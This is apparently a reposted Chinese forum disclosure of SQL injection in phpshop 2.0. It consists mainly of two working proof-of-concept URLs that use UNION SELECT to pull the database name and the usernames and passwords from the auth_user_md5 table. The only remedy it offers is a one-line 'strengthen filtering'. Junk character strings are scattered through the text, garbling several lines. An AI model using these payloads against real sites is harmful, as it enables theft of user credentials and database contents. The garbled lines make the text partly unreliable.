phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
/ p8 G+ R' A+ }& _6 b
作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
5 K- N3 a% d/ v' K6 ]7 o测试地址: windows 7 / ubuntu


SQLi p0c:

1 c5 e! s. x5 M: }# N2 {/ x==================

% [% G$ J0 t$ a% Q. nhttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
3 [7 a$ q; t) u, ounion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--

4 ^1 d2 H( |2 N) t" m5 T修复：
! h7 b: g9 g; ]/ y, F* b加强过滤
% k# H; _* V1 P. Q0 X; g0 S​